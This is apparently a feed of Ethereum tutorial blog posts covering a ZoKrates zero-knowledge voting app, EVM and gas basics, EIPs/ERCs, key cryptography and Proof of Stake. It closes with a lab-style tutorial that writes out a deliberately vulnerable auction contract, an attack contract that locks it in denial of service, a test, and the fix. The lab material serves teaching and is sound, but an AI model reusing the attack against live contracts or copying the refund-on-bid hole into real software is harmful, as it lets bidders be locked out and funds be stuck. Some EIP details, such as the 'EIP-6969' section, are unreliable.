    assert(vote == 1 || vote == 2);
    field hash = poseidon([vote, nonce]);
    assert(hash == commitment);
    return true;
}

What this does:

Enforces that the vote must be 1 or 2 — a simple rule for this example.
Hashes the vote and a secret nonce using Poseidon, then checks that it matches the provided commitment — proving the commitment corresponds to a valid vote.

Why Poseidon? It’s a hash function designed for zero-knowledge circuits — much faster and cheaper to verify in zk-SNARKs than SHA256 or Keccak.

Step 3: Generate the Commitment in JavaScript

Create a helper file at packages/nextjs/utils/zkVote.ts:

import { buildPoseidon } from "circomlibjs";

export async function generateCommitment(vote: number, nonce: bigint): Promise<string> {
  const poseidon = await buildPoseidon();
  const commitment = poseidon([BigInt(vote), nonce]);
  return poseidon.F.toString(commitment);
}

You can now copy vote, nonce, and commitment into the ZoKrates Playground to test your circuit manually.

Tip: You can use the commands below to quickly generate a commitment to test on the playground:

cd packages/nextjs
npx --package typescript tsc utils/zkVote.ts --target es2020 --module commonjs --outDir dist --esModuleInterop
node -e "require('./dist/zkVote.js').generateCommitment(2, 123456789n).then(console.log);"

Step 4: Compile the Circuit

Run this from your project root:

cd packages/foundry/contracts
zokrates compile -i vote.zok
zokrates setup
zokrates export-verifier

This will produce a verifier.sol file you can use on-chain.
Move proving.key and verification.key to packages/nextjs/public so it's available in the frontend, don't worry, these keys are not private.
You can delete abi.json, out and out.r1cs files, if you want.

Step 5: Add the Verifier to Your App

Create `packages/foundry/script/DeployVerifier.s.sol:

pragma solidity ^0.8.19;

import "./DeployHelpers.s.sol";
import "../contracts/verifier.sol";

contract DeployVerifier is ScaffoldETHDeploy {
    function run() external ScaffoldEthDeployerRunner {
        new Verifier();
    }
}

Edit `packages/foundry/script/Deploy.s.sol:

pragma solidity ^0.8.19;

import "./DeployHelpers.s.sol";
import { DeployYourContract } from "./DeployYourContract.s.sol";
import { DeployVerifier } from "./DeployVerifier.s.sol";

contract DeployScript is ScaffoldETHDeploy {
    function run() external {
        DeployYourContract deployYourContract = new DeployYourContract();
        deployYourContract.run();

        DeployVerifier deployVerifier = new DeployVerifier();
        deployVerifier.run();
    }
}

Then redeploy everything:

yarn deploy

Step 6: Generate the Proof in the Frontend

Continue in packages/nextjs/utils/zkVote.ts and add the following:

import { initialize } from "zokrates-js";

let cachedKeypair: any = null;

async function loadKeypair() {
  if (!cachedKeypair) {
    const provingKeyResponse = await fetch("/proving.key");
    const provingKeyBuffer = await provingKeyResponse.arrayBuffer();

    const verificationKeyResponse = await fetch("/verification.key");
    const verificationKeyBuffer = await verificationKeyResponse.arrayBuffer();

    const provingKeyUint8 = new Uint8Array(provingKeyBuffer);
    const verificationKeyUint8 = new Uint8Array(verificationKeyBuffer);

    cachedKeypair = {
      pk: provingKeyUint8,
      vk: verificationKeyUint8,
    };
  }
  return cachedKeypair;
}

export type Proof = {
  proof: {
    a: { X: bigint; Y: bigint };
    b: { X: readonly [bigint, bigint]; Y: readonly [bigint, bigint] };
    c: { X: bigint; Y: bigint };
  };
  inputs: readonly [bigint, bigint];
};

function formatProof(rawProof: any): Proof {
  const { a, b, c } = rawProof.proof;

  const toBigTuple = (arr: string[]) => [BigInt(arr[0]), BigInt(arr[1])] as const;

  return {
    proof: {
      a: { X: BigInt(a[0]), Y: BigInt(a[1]) },
      b: { X: toBigTuple(b[0]), Y: toBigTuple(b[1]) },
      c: { X: BigInt(c[0]), Y: BigInt(c[1]) },
    },
    inputs: toBigTuple(rawProof.inputs),
  };
}

export async function proveVote(vote: number, nonce: bigint, commitment: string): Promise<Proof> {
  const zokrates = await initialize();
  const artifacts = zokrates.compile(`
  import "hashes/poseidon/poseidon.zok";

  def main(private field vote, private field nonce, field commitment) -> bool {
      assert(vote == 1 || vote == 2);
      field hash = poseidon([vote, nonce]);
      assert(hash == commitment);
      return true;
  }
      `);
  const keypair = await loadKeypair();

  const { witness } = zokrates.computeWitness(artifacts, [vote.toString(), nonce.toString(), commitment]);
  const rawProof = zokrates.generateProof(artifacts.program, witness, keypair.pk);
  return formatProof(rawProof);
}

The important method here is proveVote, it will:

initialize zokrates
compile the circuit
load the keypairs
compute witness using the arguments of the method
generate the proof with the compiled circuit, the witness and the proving key.

Step 7: Verify the Proof On-Chain

Call your Verifier contract from the frontend on a Nextjs page:

"use client";

import { useRef, useState } from "react";
import type { NextPage } from "next";
import { toast } from "react-hot-toast";
import { useScaffoldReadContract } from "~~/hooks/scaffold-eth";
import { Proof, generateCommitment, proveVote } from "~~/utils/zkVote";

const Home: NextPage = () => {
  // generate a random nonce
  const nonceRef = useRef<bigint>(BigInt(Date.now() + Math.floor(Math.random() * 1000)));

  // state for the vote, the commitment, the proof, and the loading state
  const [vote, setVote] = useState<string>("");
  const [commitment, setCommitment] = useState<string>();
  const [proof, setProof] = useState<Proof | null>(null);
  const [isLoading, setIsLoading] = useState(false);

  // verify the proof onchain once you have the proof
  const { data: isVerified } = useScaffoldReadContract({
    contractName: "Verifier",
    functionName: "verifyTx",
    args: [proof?.proof, proof?.inputs],
    query: {
      enabled: !!proof,
    },
  });

  // generate the commitment when the user clicks the button
  const handleVote = async () => {
    if (!vote) return;

    setIsLoading(true);
    try {
      const voteNumber = Number(vote);
      const newCommitment = await generateCommitment(voteNumber, nonceRef.current);
      setCommitment(newCommitment);
    } catch (error) {
      toast.error("Error generating commitment: " + (error as Error).message);
    } finally {
      setIsLoading(false);
    }
  };

  // prove the vote when the user clicks the button
  const handleProve = async () => {
    if (!vote || !commitment) return;

    setIsLoading(true);

    try {
      const voteNumber = Number(vote);
      const newProof = await proveVote(voteNumber, nonceRef.current, commitment);
      setProof(newProof);
    } catch {
      toast.error("Impossible to prove");
      setProof(null);
    } finally {
      setIsLoading(false);
    }
  };
  
  // render your page...
}

You can check the whole code of the page component in the repository Github.

To test your ZK dApp locally, just open http://localhost:3000 in your browser.

Final Thoughts

In this example, we called the Verifier contract directly from the frontend. That’s useful for learning — but in a real-world application, it’s not the pattern you’d use.

Instead, your main contract (e.g. a voting contract, identity manager, or game logic) would receive the proof and internally call the Verifier contract to validate it before proceeding with any logic.

This architecture gives you control and flexibility:

function submitVote(
  uint[2] calldata a,
  uint[2][2] calldata b,
  uint[2] calldata c,
  uint[] calldata input
) external {
  require(verifier.verifyTx(a, b, c, input), "Invalid proof");
  // continue with vote counting, recording, etc
}

What You Could Build with This

This approach opens doors to powerful applications:

Anonymous voting: prove your vote was valid without revealing it
Private whitelists: prove membership in a group (via Merkle root) without showing which one
Private randomness: commit to a number, later prove its properties (e.g., in a fair lottery)
Game actions: prove you played by the rules without revealing your strategy
Credential systems: prove you hold a credential without disclosing your identity

Zero-knowledge isn’t just privacy — it’s about integrity without exposure.

If you're exploring zero-knowledge or building real-world dApps, feel free to connect — I'd love to exchange ideas.

Written by Gil, a fullstack developer with 15+ years of experience, passionate about practical architecture, clean UX, and blockchain-powered applications.

Understanding Ethereum: EVM, Blocks, Gas, Accounts & Transactions Explained

Thu, 17 Jul 2025 19:22:29 +0000

Ethereum is more than just transfers of ETH — it’s a decentralized global computer powered by nodes and fueled by gas. Let’s break down its core components to help you grasp why it works the way it does.

1. The Ethereum Virtual Machine (EVM)

What it is: The EVM is the runtime engine powering Ethereum, a virtual CPU that runs smart contracts and processes transactions.

Why it matters:

It ensures every node executes code deterministically, so all states stay in sync.
It supports a defined set of opcodes (like ADD, JUMP, SLOAD), with each costing gas based on the amount of computation required .

Analogy:
Think of Ethereum as a massive online code playground, and the EVM as the consistent engine that runs your code—even on someone else’s computer. Every time you press "execute," it runs exactly the same way.

⛓️ 2. Blocks: Ethereum’s Time Capsules

What it is: Ethereum groups transactions into blocks, each containing:

Block number, timestamp
Gas limit (cap for total gas used) & gas used

Transaction list, Merkle roots, parent hash, and proposer’s signature.

Why it matters:

Blocks batch transactions to maintain consensus across nodes.
Each block advances the state, forming a permanent ledger of changes.

Analogy:

Blocks are like train cars, each carrying multiple passenger transactions and connected to the previous one to form a train—a never-ending ride.

⛽ 3. Gas: Ethereum’s Fuel Meter

What it is: Gas measures how much computation you're using. Every EVM opcode requires a specific gas amount .
Why we pay gas:

It prevents spam and infinite loops.
It pays validators for computation.
It ensures execution stays deterministic and bounded.

Gas Units vs. Gwei:

Gas units = computational steps
Gwei = 10⁻⁹ ETH, used to price each gas unit.

Example with Analogy:
Imagine riding a motorbike:

Distance = gas units
Fuel price per km = base fee + priority tip
You load your bike with just enough fuel (gas limit) and tip for priority service (priority fee).

4. Accounts: EOAs vs. Contract Accounts

Ethereum has two account types

1. EOA (Externally Owned Account)

Controlled by a private key
Can initiate transactions
No code, just ETH balance

2. Contract Account

Live code at an address
Can store data, and run logic when triggered
Cannot initiate transactions—EOAs must call them

Analogy:
EOAs are like people with wallets, while contract accounts are like vending machines: they respond to your actions, they can hold funds, but they don’t make moves on their own.

5. Transactions: State-Changing Actions

What they are: The only way to change Ethereum’s state (send ETH, create contracts, interact with smart contracts).

Transaction content includes:

from, to, value, nonce
gasLimit, maxFeePerGas, maxPriorityFeePerGas
data (optional), signature components

Stages of a transaction:

Signed by your private key
Broadcast to mempool
Picked by a validator
Executed, state updated, included in a block
Block finalized—permanent record

Analogy:
Think of it like ordering at a busy coffee shop:

You put in your order (transaction)
It goes on the queue (mempool)
A barista (validator) makes it (executes)
You wait until they confirm your order is done (block inclusion)
You finally drink it when it’s served (finalization)

Recap Table

Component	What It Does	Why It Matters
EVM	Runs smart contract bytecode	Ensures consistent behavior across all nodes
Blocks	Batch transactions into permanent records	Maintain global state and ledger
Gas	Measures computation, controls use	Prevents abuse, rewards validators
EOA	User-controlled account with balance	Initiate transactions
Contract	Code and state living on-chain	Enables programmable logic
Transaction	Signed messages changing state	The only way to interact with Ethereum

Why This Matters

By understanding these pillars:

You’ll optimize gas usage
Avoid common errors like low gas limits
Build or interact with contracts more confidently
Understand transaction lifecycles and how fees work

What the Heck Are EIPs and ERCs? A Beginner’s Guide to 4 Ethereum Upgrades You’ve Never Heard Of

Thu, 17 Jul 2025 19:21:14 +0000

They might not trend on Crypto Twitter—but without them, Ethereum wouldn't run this smooth. - Allan Robinson

What Are EIPs and ERCs?

EIPs (Ethereum Improvement Proposals) are Ethereum’s official feature requests or improvements, typically targeting protocol-level changes (e.g., transaction formats, gas fees).
ERCs (Ethereum Request for Comments) are a subset of EIPs focused on smart contract standards, used to ensure compatible interfaces across dApps.

They emerged as community-driven blueprints to evolve Ethereum in a consistent, transparent, and coordinate-driven way.

History & Impact

The EIP process began with EIP-1 in 2015 to formalize how Ethereum should evolve.
Early successful proposals like EIP-20 (ERC-20) established core patterns for the ecosystem.
Over time, new needs arose: better transaction gas efficiency, clearer contract interoperability, and fairer developer incentives.
Thanks to EIPs and ERCs, Ethereum continues to grow backward-compatible while integrating new features without breaking older systems.

️ Deep Dive into 4 Selected Standards

1. EIP‑2930: Access Lists (Core / Transaction Format)

Overview

Introduced in Berlin (2020) as part of a suite addressing storage cost spikes (alongside EIP-2929)
Lets you pre-declare which contract addresses/storage slots your tx will access.
Those slots are “pre-warmed” at lower cost, avoiding high “cold” access charges.

✅ Benefits

Saves ~200 gas per storage access
Reduces volatility and DoS attack risk from expensive cold storage.

❌ Drawbacks

Requires users/devs to predict exactly which slots will be used—mistakes can cost more gas than savings.
Adoption has been low: just ~1.5% of txs use it despite 42% potential benefit

⚙️ Analogy

Think of it like a grocery preorder: tell the store what you’ll need in advance and skip checkout lines—but if you order the wrong things, you wasted time and money.

2. EIP‑7547: Inclusion Lists (Core / Block Assembly)

Overview

A new proposal letting block proposers force inclusion of specific transactions in a block, reducing censorship
Especially useful for front-running, MEV-resistant applications.

✅ Benefits

Enhances fairness and censorship resistance in the mempool.
Empowers transaction originators to battle MEV-based exclusion.

⚠️ Considerations

Still under development.
Needs client & tooling support to become practical.

⚙️ Analogy

It’s like a VIP pass for users who want to ensure their ticket gets scanned even during rush hour.

3. ERC‑165: Interface Detection (Contract Interface Standard)

Overview

Standardizes how contracts announce which interfaces they implement—used widely since 2018
Contracts implement supportsInterface(bytes4 interfaceID) so others can detect capabilities.

✅ Benefits

Enables dynamic compatibility checks for wallets/dApps.
Avoids hard-coded assumptions, reducing risk of breakage.

❌ Drawbacks

Needs explicit implementation—some contracts skip it to save gas.
Only covers declared interfaces; doesn’t guarantee full compliance.

⚙️ Analogy

Like a software installer that checks if your system supports .NET 6 before installation—no surprises later.

Overview

A new proposal for sharing transaction fees (beyond ETH’s built-in burn/tip) with contract creators
Users opt-in to send a developer fee to the dApp creator on each use.

✅ Benefits

Creates an incentive model for public dApps to be sustainable.
Offers an optional “tip” model for open-source contract authors.

⚠️ Controversies

May discourage usage if tips are high.
Needs to balance opt-in vs auto-fee structures.

⚙️ Analogy

Like paying 10% tip for offline delivery services you trust—optional but appreciated.

Comparison Table

EIP/ERC	Category	Purpose	Adoption Status
EIP‑2930	Core / Tx	Improve gas for predefined access	Low adoption (\~1.5%)
EIP‑7547	Core / Blocks	Censorship resistance via inclusion lists	Early draft
ERC‑165	Interface	Standard method to declare support	Widely adopted (NFTs, tokens)
EIP‑6969	ERC / Payments	Revenue-sharing tips to contract authors	Emerging interest

Final Takeaways

Access Lists (EIP‑2930) streamline gas costs—but you must think ahead.
Inclusion Lists (EIP‑7547) will help fairness in transaction ordering, ideal for censor-resistant apps.
ERC‑165 remains vital for automatic interface compatibility, powering wallet and dApp integrations.
Revenue-sharing (EIP‑6969) introduces an open tipping model, potentially sustaining free-to-use contracts.

Why These Matter for Beginners

Understanding why these standards were invented helps future developers reason about protocol design and usability, not just code.
Seeing each EIP as a solution to a real problem—gas costs, censorship, interface detection, developer sustainability—makes you think like a protocol designer.
Analogies keep concepts memorable and relatable.

Standards aren’t just code—they shape how Ethereum grows. - Allan Robinson

Unlocking Ethereum: From Magic Money to Math-Powered Machines

Sat, 12 Jul 2025 19:49:54 +0000

"Not all computers live in your house. Some live everywhere." — Allan Robinson

Hey there, curious builder!

If you’ve been following along on this journey from Chapter 1 to Chapter 4 of the Ethereum Book, congratulations! You’ve taken your first real steps into understanding what makes Ethereum the beating heart of the Web3 revolution. But now, let’s tie it all together.

This article will serve as your grand recap. We’ll walk back through the major milestones you’ve hit — from installing MetaMask to unraveling the mathematical magic behind Ethereum addresses. But we’re going deeper this time, with clear explanations, descriptive breakdowns, and some jokes and analogies to make it fun.

Chapter 1: Ethereum — The Decentralized World Computer

Ethereum is not just a cryptocurrency.
It’s a decentralized world computer, where code is law and contracts live forever.

Imagine the internet, but with programmable money and no central administrator.
That’s Ethereum.

In this chapter, we:

Installed MetaMask, your Web3 portal.
Created a wallet (a safe for your digital coins).
Funded it using a testnet faucet.
Sent and received Ether — the fuel of Ethereum.

"Think of Ether as gas in a car. Ethereum is the engine. Smart contracts are the destination."

Ethereum allows anyone to deploy smart contracts — bits of code that live and operate independently on the blockchain. These contracts can't be tampered with once deployed. That’s a game-changer for trust, accountability, and decentralization.

Chapter 2: Wallets, Contracts, and the Machine Brain

Once your MetaMask wallet was ready, you discovered two types of accounts:

Externally Owned Accounts (EOAs):

Controlled by private keys.
Can initiate transactions.
These are your regular wallet accounts.

Contract Accounts:

Controlled by code, not keys.
Can hold Ether and respond to transactions.
Cannot initiate transactions but can react to them.

We even wrote our first smart contract: Faucet.sol.

It allowed:

Users to withdraw up to 0.1 ETH.
Anyone to send ETH to it.

You deployed it on a testnet using Remix IDE.

This was your first encounter with the Ethereum Virtual Machine (EVM) — the brain that runs all smart contracts in the Ethereum world. Think of it as a global computer made up of thousands of nodes all syncing together.

Chapter 3 & 4: Cryptography — Ethereum’s Security Backbone

Ethereum is secure by math, not by secrecy.

This is where things got spicy.
We talked cryptography — the silent engine that makes Ethereum work.

Cryptography doesn’t hide data, it proves truths.

We explored:

Public key cryptography (asymmetric cryptography).
Digital signatures.
Trapdoor functions.
Elliptic curve cryptography.

Private Keys:

A private key is just a really big random number.
It gives you control over your Ethereum wallet.
It must NEVER be shared. Sharing your private key = giving away your money.

"Your private key is your soul. Lose it, and your crypto reincarnates into someone else's wallet."

️ Public Keys:

Derived from the private key using elliptic curve multiplication.
Can be shared. They help the world recognize your account.
Used to verify digital signatures.

Ethereum Addresses:

Shortened versions of the public key (via hashing).
Every wallet has one (e.g., 0xabc123...).
Acts like a username for the blockchain.

Together, these elements enable secure, verifiable ownership of funds without any central authority.

The Discrete Logarithm Problem & Elliptic Curve Math

Ethereum uses a form of math called Elliptic Curve Cryptography (ECC) over a curve known as secp256k1.

Private Key k is a number.
Multiply it with a point G on the curve: k * G = K, the Public Key.
You can go from private to public, but NOT the reverse. Why?

Because that would involve solving the Discrete Logarithm Problem.

"It’s like trying to unblend a smoothie. Good luck getting that one blueberry back."

This one-way math gives us digital signatures and the ability to prove ownership without revealing secrets.

✨ The Magic of Digital Signatures

Every Ethereum transaction is a message signed with your private key.

The network can verify:
Who sent it (via public key).
That the message wasn’t altered (hash matching).

That it came from a valid source.

But it can do all this without knowing the private key itself. Pure cryptographic sorcery.

Why This All Matters

This system allows:

Peer-to-peer payments.
Smart contract execution.
Fully decentralized apps (dApps).
A global trustless economy.

All without:

Banks.
Passwords.
Centralized control.

You now understand how your Ethereum wallet works, how transactions are signed, and why no one can just "guess" your key.

And that, my friend, is the magic behind the Ethereum World Computer.

What’s Next?

You’ve just finished the foundation:

Ethereum basics
Wallets and contracts
Cryptography, private keys, and addresses

Up next? We dive deeper:

Solidity smart contracts
Gas optimization
Attacks & defenses

The move to Proof of Stake

So stay curious. Keep coding. And never share your private key.

See you on-chain.

Cryptography in Ethereum

Sat, 12 Jul 2025 19:49:26 +0000

Cryptography is one of the most important technologies behind Ethereum and other blockchains. Even though it sounds complicated, at its heart, it’s all about keeping things secure, proving ownership, and ensuring data can’t be faked or tampered with.

Let’s break down what cryptography means in the Ethereum world — in the simplest terms possible.

What Is Cryptography?

Cryptography comes from a Greek word meaning “secret writing”. It’s the study of how to secure information using math. But it’s not just about hiding things — it also helps:

Prove something is true without showing it (like proving you know a password without telling it).
Prove data is authentic (like checking a digital fingerprint).

Ethereum does not use encryption to hide messages — everything is open and visible so the network can agree on the correct state. But it does use cryptography to verify and secure who owns what.

Keys and Addresses

♂️ Accounts in Ethereum

There are two main types:

EOAs (Externally Owned Accounts) — controlled by private keys (what users use).
Smart Contracts — code-based accounts that live on Ethereum.

Every EOA has:

A private key — a secret number that proves control.
An Ethereum address — a public identity others can see.

Think of it like this:

Your address is your bank account number (public).
Your private key is your ATM PIN (secret).

You can’t get someone’s private key by looking at their address. But if you have the private key, you control the account and the funds in it.

️ Digital Signatures: Proving Ownership

Every transaction on Ethereum must be signed using the private key. This creates a digital signature, which proves:

The transaction is authentic.
It could only have come from the person who owns the private key.

This signature is then verified by others using your public key (or Ethereum address). The private key is never shared — it stays hidden.
So, when you send ETH:

You sign the transaction with your private key.
The network checks the signature against your address.
If it matches — the transaction is valid!

How Do Private and Public Keys Work?

Ethereum uses a form of cryptography called Public Key Cryptography, also known as Asymmetric Cryptography.

This system uses two keys:

A private key (kept secret).
A public key (shared openly).

The cool part is:

You can generate the public key from the private key.
But you can’t go backwards — it’s mathematically impossible to figure out the private key from the public key.

This one-way math is what makes Ethereum secure.

What Is a Private Key?

A private key is just a very large random number — but a very important one!

Example:

f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315

It controls your funds. If someone else gets it, they can steal your ETH. If you lose it, your ETH is gone forever — no password resets in crypto!

That’s why wallet apps and hardware wallets help store and protect private keys safely.

How Are Private Keys Generated?

Generating a private key means picking a truly random number between 1 and a huge number called 2^256. That’s a number with 77 digits — more than the number of atoms in the universe!

Wallets usually use:

Your mouse movements, or
Your keystrokes, or
Other random inputs to generate a secure number.

It’s important that the random number is not predictable, or someone might guess it. Ethereum wallets use strong built-in random number generators to do this safely.

What Is a Public Key?

A public key is generated from the private key using elliptic curve multiplication. This is a kind of special math done on a curve called secp256k1.

Let’s simplify:

You start with your private key (a number).
You multiply it with a special constant point (called G).
The result is your public key — two coordinates (x, y) on a curve.

Here’s the math (don’t worry if it looks scary):

Public Key = Private Key × Generator Point (G)

This is a one-way function — easy to do, impossible to reverse.

Ethereum Addresses

An Ethereum address is a shortened version of the public key. It's 40 characters long (20 bytes), usually written in hexadecimal.

Example:

0x742d35Cc6634C0532925a3b844Bc454e4438f44e

This is what you share to receive ETH or tokens. It’s like your bank account number, but public.

✍️ Digital Signatures in Detail

Let’s say Alice wants to send ETH:

She creates a transaction with details like amount, recipient, etc.
She uses her private key to sign the transaction.
The signature is sent with the transaction to the Ethereum network.
Anyone can verify the signature using Alice’s address.

This proves:

The transaction came from Alice.
The transaction wasn’t tampered with.
Alice authorized the action.

No passwords, no usernames, just math.

Is Ethereum Encrypted?

No. Ethereum is not encrypted. Everything — including:

Transactions,
Contract code,
Balances,
Messages,

...is visible to everyone. This is necessary for transparency and trust — it allows everyone to verify what’s happening.

In the future, Ethereum may use advanced cryptography like:

Zero-Knowledge Proofs – to prove something without showing it.
Homomorphic Encryption – to do computations on encrypted data.

But right now, Ethereum’s focus is on verification, not secrecy.

Keep Your Private Key Safe!

Never share it.
Never screenshot it.
Always back it up safely (use hardware wallets or seed phrases).
If you lose it, you lose access forever.

Final Thoughts

Cryptography might seem hard, but it powers everything in Ethereum — from accounts, to transactions, to smart contracts.

The most important things to remember:

Your private key = control over your ETH.
Your signature = proof that you own it.
Your address = your identity on Ethereum.

With public key cryptography and smart math, Ethereum allows you to be your own bank — secure, open, and unstoppable.

⚖️ Proof of Stake Explained: Ethereum’s Guardians of the Blockchain

Thu, 10 Jul 2025 16:51:12 +0000

"With great power comes great responsibility... and staking penalties." – Uncle Eth (probably)

Welcome back Web3 explorers! Today, we dive into the magical realm of Proof of Stake (PoS) — the mechanism that keeps Ethereum running smoothly, securely, and sustainably.

Whether you're new to blockchain or just heard someone yell “slashing!” on crypto Twitter, this article breaks down the what, why, and whoopsies of PoS — Ethereum's heart after the Merge.

What Is Proof of Stake (PoS)?

Think of PoS like a blockchain boarding school — validators (Ethereum's new class prefects) are selected to propose blocks, check homework (aka validate blocks), and keep the system honest.

But unlike Proof of Work (PoW), where miners solve complex puzzles, PoS chooses validators based on how much ETH they lock (stake). The more you stake, the higher your chances of being chosen to propose or attest to the next block.

No pickaxes. Just ETH and good behavior.

Staking ETH: The Golden Entry Ticket

To become a validator, you stake 32 ETH.
Your ETH acts like a security deposit at an Airbnb — behave, and you’re good.
Mess around? You could lose part (or all ) of your stake.

Fun fact: You can use MetaMask + staking services to stake without running your own node!

Rewards: The Carrot on the Stick

Validators earn rewards by doing three things:

Proposing blocks – Like writing the first draft of history.
Attesting to blocks – Confirming someone else’s draft is good.
Sync committee participation – A random validator group that helps light clients stay in sync.

Good behavior = sweet, sweet ETH rewards.
Rewards depend on how active the network is and how many validators are online.

Penalties: When Validators Go Rogue

It’s not all sunshine and staking. There are penalties too!

Inactivity Penalty

Validators who stay offline too long start losing ETH. This prevents the network from stalling due to absentee validators.

Slashing

The big no-no. If a validator tries to:

Propose two blocks at the same time (double proposing)
Vote for two conflicting blocks (double voting)
Surround votes maliciously

...they get slashed — a portion of their staked ETH is destroyed, and they’re kicked out of the validator set.

Slashing is like being expelled and fined at the same time.

Common Attacks by Validators (and How Ethereum Fights Back)

1. Long-Range Attacks

What it is: A validator tries to rewrite old blockchain history by proposing an alternative version of events from way back.

Ethereum’s defense:

Clients ignore chains that don’t include recent checkpoint finality.
Checkpoints are final every ~12 minutes (2 epochs).

️ TL;DR: Once history is “finalized,” it’s set in stone.

2. Nothing-at-Stake Problem

What it is: In PoW, miners have to choose one chain because mining costs resources. In PoS, lazy validators could vote on all chains, trying to game rewards.

Ethereum’s defense:

Slashing validators for voting on multiple forks.
Attestations are tracked to punish “double dipping.”

3. Censorship (Proposer Censorship)

What it is: Validators might refuse to include certain transactions (e.g. from specific users or smart contracts).

Ethereum’s defense:

Proposer rotation – Validators are randomly chosen, so no one can control the chain forever.
MEV-Boost relays – Improve decentralization of block building.

4. Finality Delay Attacks

What it is: A group of validators tries to delay finalizing blocks by staying offline or acting slowly.

Ethereum’s defense:

Inactivity leaks gradually drain ETH from offline validators.
Eventually, the honest majority finalizes blocks.

What You Should Take Away

PoS is Ethereum's way of saying: "Behave and you’ll be rewarded. Cheat and you’ll be slashed."
Validators are ETH-holding users who run nodes and maintain the chain’s health.
Ethereum uses math, game theory, and crypto magic to reward good validators and punish bad ones.

The system is built to survive attackers, downtime, and even validators turning evil. (Sorry, Anakin.)

Bonus: Starting Your Validator Journey

Wanna be a validator? Here's a super simplified roadmap:

Stake 32 ETH.
Set up a validator client (like Lighthouse, Prysm, or Teku).
Connect it to your beacon node.
Start validating and watch your ETH grow! (Slowly... it’s not a get-rich-quick scheme.)

⚠️ Not ready for the full 32 ETH? Try staking pools like Lido, RocketPool, or Coinbase staking.

Final Thoughts

Proof of Stake is Ethereum’s superhero upgrade: greener, faster, and more secure. But with great power comes strict rules and harsh slashing.

Validators keep Ethereum running — as long as they don’t sleep on the job or try funny business.

So stake wisely, stay online, and remember: in Ethereum we trust, but verify.

Executing Denial of Service on smart contracts

Sat, 24 May 2025 04:24:29 +0000

️ Deny users from accessing a smart contract

A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract

Overview

There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.

Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.

⚒️ Build

Setting up Foundry

To start the project, open up your terminal and create a new project directory.

mkdir denial-of-service

Let's start by setting up Hardhat inside the denial-of-service directory.

cd denial-of-service
forge init .

Write the Smart Contracts

Let's create the auction contract, named Good.sol, with the following code.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}

This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.

Now, create a contract named Attack.sol within the contracts directory and write the following lines of code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "./Good.sol";

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}

This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.

Writing the Test

Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {Attack} from "../src/Attack.sol";
import {Good} from "../src/Good.sol";
import {console} from "forge-std/console.sol";

contract AttackTester is Test {
    //declare a variable for holding instances of our contracts
    Good public goodContract;
    Attack public attackContract;

    function setUp() public {
        // Deploy the Good Contract using a dummy account
        vm.prank(vm.addr(420));
        goodContract = new Good();


        //Deploy the Attack Contract
        attackContract = new Attack(address(goodContract));

    }

    function test_attack() public {

        // Get two addresses using their private keys
        address address1= vm.addr(1);
        address address2= vm.addr(2);

        //add funds to the addresses
        deal(address1, 100 ether);
        deal(address2, 100 ether);


        //Initially let address1 become the current winner of the auction
        //impersonate address1 for sending a transaction to the Good Contract
        vm.prank(address1);
        goodContract.setCurrentAuctionPrice{value: 1 ether}();

        
        
        // Start the attack and make Attack.sol the current winner of the auction
        attackContract.attack{value: 3 ether}();

        // Now let's try making address2 the current winner of the auction
        vm.prank(address2);
        goodContract.setCurrentAuctionPrice{value: 4 ether}();



        // Balance of the Game Contract should be equal 0
        assertEq(goodContract.currentWinner(), address(attackContract));
    }
}

Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.

Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner

Test the attack

To run the test, in your terminal pointing to the root directory of this level execute the following command

forge test

When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.

Prevention

You can create a separate withdraw function for the previous winners.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address => uint) public balances;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != currentWinner, "Current winner cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
